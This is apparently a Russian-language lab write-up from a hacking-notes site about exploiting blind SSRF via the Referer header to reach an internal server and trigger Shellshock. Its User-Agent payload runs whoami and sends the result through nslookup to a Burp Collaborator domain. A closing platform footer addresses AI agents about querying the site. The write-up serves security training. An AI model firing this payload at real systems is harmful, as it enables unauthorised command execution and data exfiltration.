> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/ssrf/blind-ssrf-exploited-via-shellshock.md).

# Слепой SSRF, эксплуатируемый через Shellshock

### Слепой SSRF с эксплуатацией Shellshock

Этот сайт использует модуль анализа, который извлекает URL, указанный в заголовке **Referer** при каждом просмотре страницы товара. / Чтобы решить лабораторную, вы должны перенаправить эту функциональность для выполнения слепой **SSRF** на внутренний сервер, находящийся в диапазоне **192.168.0.X** на порту **8080**. / Во время слепой атаки полезная нагрузка **Shellshock** должна быть внедрена, чтобы эксфильтровать имя пользователя системы.

#### Начальное наблюдение

При посещении страницы товара сайт действительно отправляет запрос на основе заголовка **Referer**:

```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```

Это подтверждает, что приложение автоматически обращается по URL, указанному в этом заголовке.

<figure><img src="/files/cb89df82b8b27b0632ca015734ab5b0ada75d7bc" alt=""><figcaption></figcaption></figure>

#### Эксплуатация через слепой SSRF

Цель состоит в том, чтобы заставить приложение обратиться к внутреннему хосту:

```
Referer: http://192.168.X:8080
```

Поскольку внутренний сервис уязвим к **Shellshock**, в него внедряется полезная нагрузка **User-Agent** заголовок, который будет интерпретирован целевым сервером.

Полезная нагрузка выполняет команду, чтобы эксфильтровать `whoami` результат через DNS-запрос, отправленный на **Burp Collaborator**:

```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```

<figure><img src="/files/b00b8d55b5295f1b870a446ecb6af29ce621e01d" alt=""><figcaption></figcaption></figure>

#### Результат

На стороне Collaborator появляется DNS-запрос, содержащий имя пользователя системы. / В данном случае возвращённый пользователь:

<figure><img src="/files/708e82cf0c58df6c9f59247ccdb61fa2673a0b44" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/ssrf/blind-ssrf-exploited-via-shellshock.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
